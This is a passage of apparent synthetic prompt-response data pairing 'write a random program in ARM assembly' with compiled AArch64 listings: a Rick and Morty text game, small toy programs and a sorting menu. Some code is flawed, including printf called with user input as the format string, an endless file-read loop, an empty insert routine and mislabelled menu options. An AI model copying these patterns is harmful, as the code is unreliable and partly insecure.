ldr w0, [sp, 20]
cmp w0, 10
ble .L666
.L665:
mov w0, 0
b .L667
.L666:
ldrsw x0, [sp, 40]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w0, [x0]
ldr w1, [sp, 20]
cmp w1, w0
bne .L668
ldr w0, [sp, 40]
b .L667
.L668:
mov w0, -1
.L667:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE53:
.size Anumber, .-Anumber
.section .rodata
.align 3
.LC786:
.string "Woooaaahhh get ready for Hyper Drive \n"
.text
.align 2
.global stars
.type stars, %function
stars:
.LFB54:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
bl rand
mov w1, w0
mov w0, 34079
movk w0, 0x51eb, lsl 16
smull x0, w1, w0
lsr x0, x0, 32
asr w2, w0, 4
asr w0, w1, 31
sub w0, w2, w0
mov w2, 50
mul w0, w0, w2
sub w0, w1, w0
add w0, w0, 1
str w0, [sp, 44]
ldr w0, [sp, 44]
str w0, [sp, 28]
mov w0, 1
str w0, [sp, 32]
b .L670
.L675:
mov w0, 1
str w0, [sp, 40]
b .L671
.L672:
mov w0, 32
bl putchar
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L671:
ldr w1, [sp, 28]
ldr w0, [sp, 40]
cmp w1, w0
bgt .L672
mov w0, 1
str w0, [sp, 36]
b .L673
.L674:
mov w0, 42
bl putchar
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L673:
ldr w0, [sp, 32]
lsl w0, w0, 1
ldr w1, [sp, 36]
cmp w1, w0
blt .L674
ldr w0, [sp, 28]
sub w0, w0, #1
str w0, [sp, 28]
mov w0, 10
bl putchar
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L670:
ldr w1, [sp, 32]
ldr w0, [sp, 44]
cmp w1, w0
ble .L675
adrp x0, .LC786
add x0, x0, :lo12:.LC786
bl puts
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE54:
.size stars, .-stars
.section .rodata
.align 3
.LC787:
.string "Please enter how many games you want to play.\n"
.align 3
.LC788:
.string "Enter the amount of Flurbos that you will need for that game, one by one\n"
.align 3
.LC789:
.string "You will need an average of %.2f Flurbos, for your first time at Blips\n"
.text
.align 2
.global flurbos
.type flurbos, %function
flurbos:
.LFB55:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
str wzr, [sp, 28]
adrp x0, .LC787
add x0, x0, :lo12:.LC787
bl puts
add x0, sp, 24
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
adrp x0, .LC788
add x0, x0, :lo12:.LC788
bl puts
str wzr, [sp, 32]
b .L677
.L678:
add x0, sp, 20
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 20]
ldr w1, [sp, 28]
add w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L677:
ldr w0, [sp, 24]
ldr w1, [sp, 32]
cmp w1, w0
blt .L678
ldr w1, [sp, 28]
ldr w0, [sp, 32]
sdiv w0, w1, w0
scvtf s0, w0
str s0, [sp, 36]
ldr s0, [sp, 36]
fcvt d0, s0
adrp x0, .LC789
add x0, x0, :lo12:.LC789
bl printf
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 40]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L679
bl __stack_chk_fail
.L679:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE55:
.size flurbos, .-flurbos
.section .rodata
.align 3
.LC790:
.string "your choices are 1.Alphabetrum, 2.Bird World, or 3.Unity's Planet"
.align 3
.LC791:
.string "Morty Narrating.... \n"
.align 3
.LC792:
.string "Cool, we are heading to Alphabetrum \n"
.align 3
.LC793:
.string "This planet is inhabited by an ancient race who resemble giant letters of various alphabets. It's ruled by a council, which consists of Helium-Q, Magnesium-J, and Hydrogen-F"
.align 3
.LC794:
.ascii "It's the homeworld of Ice-T, an exiled native of Alphabetriu"
.ascii "m w"
.string "ho became a well known rapper on Earth. After Ice-T saved Earth from being destroyed by the Cromulons, the elders of Alphabetrium received word from across the galaxy of Ice-T's heroism and relieved him of his exile, granting him of his true form Water-T.\n"
.align 3
.LC795:
.string "Wait what is that noise? Oh wait I think there is something wrong with the space cruiser \n"
.align 3
.LC796:
.string "Quick we need to fix these warnings, please type Red to cancel all the warining buttons that are going off \n"
.align 3
.LC797:
.string "Red"
.align 3
.LC798:
.string "Great you fix all the warnings !! "
.align 3
.LC799:
.string "We can continue our jouney "
.align 3
.LC800:
.string "Lets hope Rick does not find out about this"
.align 3
.LC801:
.string "Hurry, please type Red to cancel all the warining buttons that are going off "
.align 3
.LC802:
.string "Cool, we are heading to Bird World \n"
.align 3
.LC803:
.ascii "Bird World is"
.string " the planet where Birdperson lives. TV-signals from Earth take 20 years to reach this planet, meaning it's 20 light-years away from Earth, although in the season 2 finale The wedding squanchers, Rick claims that Bird world is over 6,000 light years away. \n"
.align 3
.LC804:
.ascii "Bird People live in wooden structures often incorporated int"
.ascii "o trees, but do possess technology li"
.string "ke TV. They primarily eats worms and have worm ranches around on the planet. When sending messages they may tend to use robotic eggs with hologram messages, or it is technology by Tammy. In Bird culture, mate-melding is the equivalent of marriage on Earth."
.align 3
.LC805:
.string "Seems like we are having some engine problems we are going to have to stay here untill we can get it fix. \n"
.align 3
.LC806:
.string "Whats this, looks like rick left us a note lets sees what it says\n"
.align 3
.LC807:
.string "Cool, we are heading to Unity's Planet \n"
.align 3
.LC808:
.string "The planet Unity was entirely assimilated, and plans to use to assimilate the Galactic Federation. However, Unity left the planet with its people following certain events with Rick. \n"
.align 3
.LC809:
.ascii "The inhabitants are blue-skinned humanoids with three yellow"
.ascii "-tipped protrusions on their heads. There are differences in"
.ascii " nipple structure as some have flat concentric nipple rings,"
.ascii " and others have cone nipples. In the absence of Unity's con"
.ascii "trol, the inhabitants instantly devolve into starting a race"
.ascii " war based on the"
.string "ir nipple differences. The unassimilated crew of the S.S. Independence do not exhibit this, but they may have all been of a similar nipple-type. The entire planet's population disappeared after Unity decided to leave Rick, and went to stay with Beta-Seven."
.text
.align 2
.global planets
.type planets, %function
planets:
.LFB56:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
str wzr, [sp, 20]
mov w0, 25938
movk w0, 0x64, lsl 16
str w0, [sp, 32]
adrp x0, .LC790
add x0, x0, :lo12:.LC790
bl puts
add x0, sp, 20
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
adrp x0, .LC233
add x0, x0, :lo12:.LC233
bl puts
ldr w0, [sp, 20]
cmp w0, 3
beq .L681
cmp w0, 3
bgt .L690
cmp w0, 1
beq .L683
cmp w0, 2
beq .L684
b .L690
.L683:
adrp x0, .LC791
add x0, x0, :lo12:.LC791
bl puts
adrp x0, .LC792
add x0, x0, :lo12:.LC792
bl puts
adrp x0, .LC793
add x0, x0, :lo12:.LC793
bl puts
adrp x0, .LC233
add x0, x0, :lo12:.LC233
bl puts
adrp x0, .LC794
add x0, x0, :lo12:.LC794
bl puts
adrp x0, .LC233
add x0, x0, :lo12:.LC233
bl puts
adrp x0, .LC795
add x0, x0, :lo12:.LC795
bl puts
adrp x0, .LC796
add x0, x0, :lo12:.LC796
bl puts
b .L685
.L688:
add x0, sp, 24
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __isoc99_scanf
add x2, sp, 24
adrp x0, .LC797
add x1, x0, :lo12:.LC797
mov x0, x2
bl strcmp
cmp w0, 0
bne .L686
mov w0, 10
bl putchar
adrp x0, .LC798
add x0, x0, :lo12:.LC798
bl puts
adrp x0, .LC799
add x0, x0, :lo12:.LC799
bl puts
adrp x0, .LC800
add x0, x0, :lo12:.LC800
bl puts
nop
b .L682
.L686:
adrp x0, .LC801
add x0, x0, :lo12:.LC801
bl puts
.L685:
add x2, sp, 24
adrp x0, .LC797
add x1, x0, :lo12:.LC797
mov x0, x2
bl strcmp
cmp w0, 0
bne .L688
b .L682
.L684:
adrp x0, .LC791
add x0, x0, :lo12:.LC791
bl puts
adrp x0, .LC802
add x0, x0, :lo12:.LC802
bl puts
adrp x0, .LC803
add x0, x0, :lo12:.LC803
bl puts
adrp x0, .LC233
add x0, x0, :lo12:.LC233
bl puts
adrp x0, .LC804
add x0, x0, :lo12:.LC804
bl puts
adrp x0, .LC233
add x0, x0, :lo12:.LC233
bl puts
adrp x0, .LC805
add x0, x0, :lo12:.LC805
bl puts
adrp x0, .LC806
add x0, x0, :lo12:.LC806
bl puts
bl noteFromRick
b .L682
.L681:
adrp x0, .LC791
add x0, x0, :lo12:.LC791
bl puts
adrp x0, .LC807
add x0, x0, :lo12:.LC807
bl puts
adrp x0, .LC233
add x0, x0, :lo12:.LC233
bl puts
adrp x0, .LC808
add x0, x0, :lo12:.LC808
bl puts
adrp x0, .LC233
add x0, x0, :lo12:.LC233
bl puts
adrp x0, .LC809
add x0, x0, :lo12:.LC809
bl puts
adrp x0, .LC233
add x0, x0, :lo12:.LC233
bl puts
nop
.L682:
.L690:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 40]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L689
bl __stack_chk_fail
.L689:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE56:
.size planets, .-planets
.align 2
.global goodBye
.type goodBye, %function
goodBye:
.LFB57:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
adrp x0, .LC810
add x1, x0, :lo12:.LC810
add x0, sp, 40
ldr x2, [x1]
str x2, [x0]
ldrb w1, [x1, 8]
strb w1, [x0, 8]
add x0, sp, 40
str x0, [sp, 32]
str wzr, [sp, 28]
b .L692
.L693:
ldr x0, [sp, 32]
ldrb w0, [x0]
bl putchar
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L692:
ldr w0, [sp, 28]
cmp w0, 8
bls .L693
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 56]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L694
bl __stack_chk_fail
.L694:
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE57:
.size goodBye, .-goodBye
.section .rodata
.align 3
.LC810:
.string "Good Bye"
.text
.section .rodata
.align 3
.LC811:
.string "note.txt"
.align 3
.LC812:
.string "Oh never mind, it wasn't a note"
.text
.align 2
.global noteFromRick
.type noteFromRick, %function
noteFromRick:
.LFB58:
.cfi_startproc
stp x29, x30, [sp, -144]!
.cfi_def_cfa_offset 144
.cfi_offset 29, -144
.cfi_offset 30, -136
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 136]
mov x1, 0
adrp x0, .LC62
add x1, x0, :lo12:.LC62
adrp x0, .LC811
add x0, x0, :lo12:.LC811
bl fopen
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
bne .L697
adrp x0, .LC812
add x0, x0, :lo12:.LC812
bl puts
mov w0, 1
bl exit
.L700:
ldrb w0, [sp, 23]
bl putchar
.L697:
ldr x0, [sp, 24]
bl fgetc
strb w0, [sp, 23]
b .L700
.cfi_endproc
.LFE58:
.size noteFromRick, .-noteFromRick
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global func
.type func, %function
func:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
adrp x0, q.0
add x0, x0, :lo12:q.0
str x0, [sp, 8]
ldr x0, [sp, 8]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size func, .-func
.global a
.bss
.align 2
.type a, %object
.size a, 4
a:
.zero 4
.section .rodata
.align 3
.LC0:
.string "%d"
.text
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
mov w0, 1
str w0, [sp, 28]
b .L4
.L5:
bl func
ldr w1, [x0]
adrp x0, a
add x0, x0, :lo12:a
str w1, [x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L4:
ldr w0, [sp, 28]
cmp w0, 99
ble .L5
adrp x0, a
add x0, x0, :lo12:a
ldr w0, [x0]
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
.data
.align 2
.type q.0, %object
.size q.0, 4
q.0:
.word 1
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
mov w0, 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global hide
.type hide, %function
hide:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
str wzr, [sp, 32]
adrp x0, .LC0
add x1, x0, :lo12:.LC0
add x0, sp, 40
ldr x2, [x1]
str x2, [x0]
ldr w1, [x1, 8]
str w1, [x0, 8]
str wzr, [sp, 36]
b .L2
.L4:
ldrsw x0, [sp, 36]
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w2, [x0]
ldrsw x0, [sp, 32]
lsl x0, x0, 2
add x1, sp, 40
ldr w0, [x1, x0]
and w1, w0, 255
ldrsw x0, [sp, 36]
ldr x3, [sp, 24]
add x0, x3, x0
add w1, w2, w1
and w1, w1, 255
strb w1, [x0]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
ldr w0, [sp, 32]
cmp w0, 3
bne .L3
str wzr, [sp, 32]
.L3:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L2:
ldrsw x0, [sp, 36]
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 0
bne .L4
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 56]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L5
bl __stack_chk_fail
.L5:
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size hide, .-hide
.section .rodata
.align 3
.LC0:
.word 3
.word 1
.word 2
.text
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
ldr x0, [sp, 16]
add x0, x0, 8
ldr x0, [x0]
bl hide
ldr x0, [sp, 16]
add x0, x0, 8
ldr x0, [x0]
bl printf
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
sub sp, sp, #4032
.cfi_def_cfa_offset 4032
stp x29, x30, [sp]
.cfi_offset 29, -4032
.cfi_offset 30, -4024
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 4024]
mov x1, 0
str wzr, [sp, 20]
b .L2
.L3:
bl rand
mov w1, w0
mov w0, 34079
movk w0, 0x51eb, lsl 16
smull x0, w1, w0
lsr x0, x0, 32
asr w2, w0, 5
asr w0, w1, 31
sub w0, w2, w0
mov w2, 100
mul w0, w0, w2
sub w0, w1, w0
ldrsw x1, [sp, 20]
lsl x1, x1, 2
add x2, sp, 24
str w0, [x2, x1]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L2:
ldr w0, [sp, 20]
cmp w0, 999
ble .L3
add x0, sp, 24
bl menu
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 4024]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L5
bl __stack_chk_fail
.L5:
mov w0, w1
ldp x29, x30, [sp]
add sp, sp, 4032
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.align 3
.LC0:
.string "Funciones"
.align 3
.LC1:
.string "Sort: 1"
.align 3
.LC2:
.string "Insert: Opcion 2"
.align 3
.LC3:
.string "Delete: Opcion 3"
.align 3
.LC4:
.string "Update: Opcion 4"
.align 3
.LC5:
.string "Binary Search: Opcion 5"
.align 3
.LC6:
.string "Insertion Sort: Opcion 6"
.align 3
.LC7:
.string "Selection Sort: Opcion 7"
.align 3
.LC8:
.string "Bubble Sort: Opcion 8"
.align 3
.LC9:
.string "Salir: Opcion 9"
.align 3
.LC10:
.string "%d"
.align 3
.LC11:
.string "Tiempo transcurrido: %f\n"
.align 3
.LC12:
.string "Ingrese el valor a insertar: "
.align 3
.LC13:
.string "Ingrese el valor a eliminar: "
.align 3
.LC14:
.string "Elemento de la posicion %d eliminado \n"
.align 3
.LC15:
.string "Ingrese el valor a sustituir: "
.align 3
.LC16:
.string "Ingrese el nuevo valor: "
.align 3
.LC17:
.string "Ingrese el valor a buscar: "
.align 3
.LC18:
.string "Resultado: %d\n"
.align 3
.LC19:
.string "arreglo ordenado: "
.text
.align 2
.global menu
.type menu, %function
menu:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
str wzr, [sp, 44]
b .L7
.L16:
mov w0, -1
str w0, [sp, 40]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl puts
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl puts
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl puts
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl puts
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl puts
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl puts
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl puts
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl puts
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl puts
adrp x0, :got:stdin
ldr x0, [x0, #:got_lo12:stdin]
ldr x0, [x0]
bl fflush
add x0, sp, 40
mov x1, x0
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl __isoc99_scanf
ldr w0, [sp, 40]
cmp w0, 9
bne .L8
mov w0, 1
str w0, [sp, 44]
.L8:
ldr w0, [sp, 40]
cmp w0, 1
bne .L9
adrp x0, :got:stdin
ldr x0, [x0, #:got_lo12:stdin]
ldr x0, [x0]
bl fflush
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
bl clock
str x0, [sp, 48]
mov w1, 1000
ldr x0, [sp, 24]
bl insertionSort
bl clock
scvtf d1, x0
ldr d0, [sp, 48]
scvtf d0, d0
fsub d0, d1, d0
mov x0, 145685290680320
movk x0, 0x412e, lsl 48
fmov d1, x0
fdiv d0, d0, d1
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl printf
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
.L9:
ldr w0, [sp, 40]
cmp w0, 2
bne .L10
adrp x0, :got:stdin
ldr x0, [x0, #:got_lo12:stdin]
ldr x0, [x0]
bl fflush
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl printf
add x0, sp, 36
mov x1, x0
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl __isoc99_scanf
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
bl clock
str x0, [sp, 48]
ldr w0, [sp, 36]
mov w2, w0
mov w1, 1000
ldr x0, [sp, 24]
bl insert
bl clock
scvtf d1, x0
ldr d0, [sp, 48]
scvtf d0, d0
fsub d0, d1, d0
mov x0, 145685290680320
movk x0, 0x412e, lsl 48
fmov d1, x0
fdiv d0, d0, d1
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl printf
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
.L10:
ldr w0, [sp, 40]
cmp w0, 3
bne .L11
adrp x0, :got:stdin
ldr x0, [x0, #:got_lo12:stdin]
ldr x0, [x0]
bl fflush
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
adrp x0, .LC13
add x0, x0, :lo12:.LC13
bl printf
add x0, sp, 36
mov x1, x0
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl __isoc99_scanf
bl clock
str x0, [sp, 48]
ldr w0, [sp, 36]
mov w2, w0
mov w1, 1000
ldr x0, [sp, 24]
bl del
mov w1, w0
adrp x0, .LC14
add x0, x0, :lo12:.LC14
bl printf
bl clock
scvtf d1, x0
ldr d0, [sp, 48]
scvtf d0, d0
fsub d0, d1, d0
mov x0, 145685290680320
movk x0, 0x412e, lsl 48
fmov d1, x0
fdiv d0, d0, d1
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl printf
.L11:
ldr w0, [sp, 40]
cmp w0, 4
bne .L12
adrp x0, :got:stdin
ldr x0, [x0, #:got_lo12:stdin]
ldr x0, [x0]
bl fflush
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
adrp x0, .LC15
add x0, x0, :lo12:.LC15
bl printf
add x0, sp, 36
mov x1, x0
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl __isoc99_scanf
adrp x0, .LC16
add x0, x0, :lo12:.LC16
bl printf
add x0, sp, 32
mov x1, x0
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl __isoc99_scanf
bl clock
str x0, [sp, 48]
ldr w0, [sp, 36]
ldr w1, [sp, 32]
mov w3, w1
mov w2, w0
mov w1, 1000
ldr x0, [sp, 24]
bl update
bl clock
scvtf d1, x0
ldr d0, [sp, 48]
scvtf d0, d0
fsub d0, d1, d0
mov x0, 145685290680320
movk x0, 0x412e, lsl 48
fmov d1, x0
fdiv d0, d0, d1
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl printf
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
.L12:
ldr w0, [sp, 40]
cmp w0, 5
bne .L13
adrp x0, :got:stdin
ldr x0, [x0, #:got_lo12:stdin]
ldr x0, [x0]
bl fflush
adrp x0, .LC17
add x0, x0, :lo12:.LC17
bl printf
add x0, sp, 36
mov x1, x0
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl __isoc99_scanf
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
bl clock
str x0, [sp, 48]
ldr w0, [sp, 36]
mov w2, w0
mov w1, 1000
ldr x0, [sp, 24]
bl binarySearch
mov w1, w0
adrp x0, .LC18
add x0, x0, :lo12:.LC18
bl printf
bl clock
scvtf d1, x0
ldr d0, [sp, 48]
scvtf d0, d0
fsub d0, d1, d0
mov x0, 145685290680320
movk x0, 0x412e, lsl 48
fmov d1, x0
fdiv d0, d0, d1
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl printf
.L13:
ldr w0, [sp, 40]
cmp w0, 6
bne .L14
adrp x0, :got:stdin
ldr x0, [x0, #:got_lo12:stdin]
ldr x0, [x0]
bl fflush
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
bl clock
str x0, [sp, 48]
mov w2, 999
mov w1, 0
ldr x0, [sp, 24]
bl mergeSort
bl clock
scvtf d1, x0
ldr d0, [sp, 48]
scvtf d0, d0
fsub d0, d1, d0
mov x0, 145685290680320
movk x0, 0x412e, lsl 48
fmov d1, x0
fdiv d0, d0, d1
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl printf
adrp x0, .LC19
add x0, x0, :lo12:.LC19
bl puts
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
.L14:
ldr w0, [sp, 40]
cmp w0, 7
bne .L15
adrp x0, :got:stdin
ldr x0, [x0, #:got_lo12:stdin]
ldr x0, [x0]
bl fflush
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
bl clock
str x0, [sp, 48]
mov w1, 1000
ldr x0, [sp, 24]
bl selectionSort
bl clock
scvtf d1, x0
ldr d0, [sp, 48]
scvtf d0, d0
fsub d0, d1, d0
mov x0, 145685290680320
movk x0, 0x412e, lsl 48
fmov d1, x0
fdiv d0, d0, d1
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl printf
adrp x0, .LC19
add x0, x0, :lo12:.LC19
bl puts
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
.L15:
ldr w0, [sp, 40]
cmp w0, 8
bne .L7
adrp x0, :got:stdin
ldr x0, [x0, #:got_lo12:stdin]
ldr x0, [x0]
bl fflush
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
bl clock
str x0, [sp, 48]
mov w1, 1000
ldr x0, [sp, 24]
bl bubbleSort
bl clock
scvtf d1, x0
ldr d0, [sp, 48]
scvtf d0, d0
fsub d0, d1, d0
mov x0, 145685290680320
movk x0, 0x412e, lsl 48
fmov d1, x0
fdiv d0, d0, d1
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl printf
adrp x0, .LC19
add x0, x0, :lo12:.LC19
bl puts
mov w1, 1000
ldr x0, [sp, 24]
bl imprimir
.L7:
ldr w0, [sp, 44]
cmp w0, 0
beq .L16
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 56]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L17
bl __stack_chk_fail
.L17:
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size menu, .-menu
.align 2
.global insert
.type insert, %function
insert:
.LFB8:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
str w1, [sp, 4]
str w2, [sp]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size insert, .-insert
.align 2
.global del
.type del, %function
del:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
ldr w1, [sp, 20]
ldr x0, [sp, 24]
bl insertionSort
ldr w2, [sp, 16]
ldr w1, [sp, 20]
ldr x0, [sp, 24]
bl binarySearch
str w0, [sp, 44]
ldr w0, [sp, 44]
cmn w0, #1
beq .L20
ldr w0, [sp, 44]
str w0, [sp, 40]
b .L21
.L22:
ldrsw x0, [sp, 40]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 24]
add x1, x1, x0
ldrsw x0, [sp, 40]
lsl x0, x0, 2
ldr x2, [sp, 24]
add x0, x2, x0
ldr w1, [x1]
str w1, [x0]
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L21:
ldr w0, [sp, 20]
sub w0, w0, #1
ldr w1, [sp, 40]
cmp w1, w0
blt .L22
.L20:
ldrsw x0, [sp, 20]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 24]
add x0, x1, x0
str wzr, [x0]
ldr w0, [sp, 44]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size del, .-del
.align 2
.global update
.type update, %function
update:
.LFB10:
.cfi_startproc
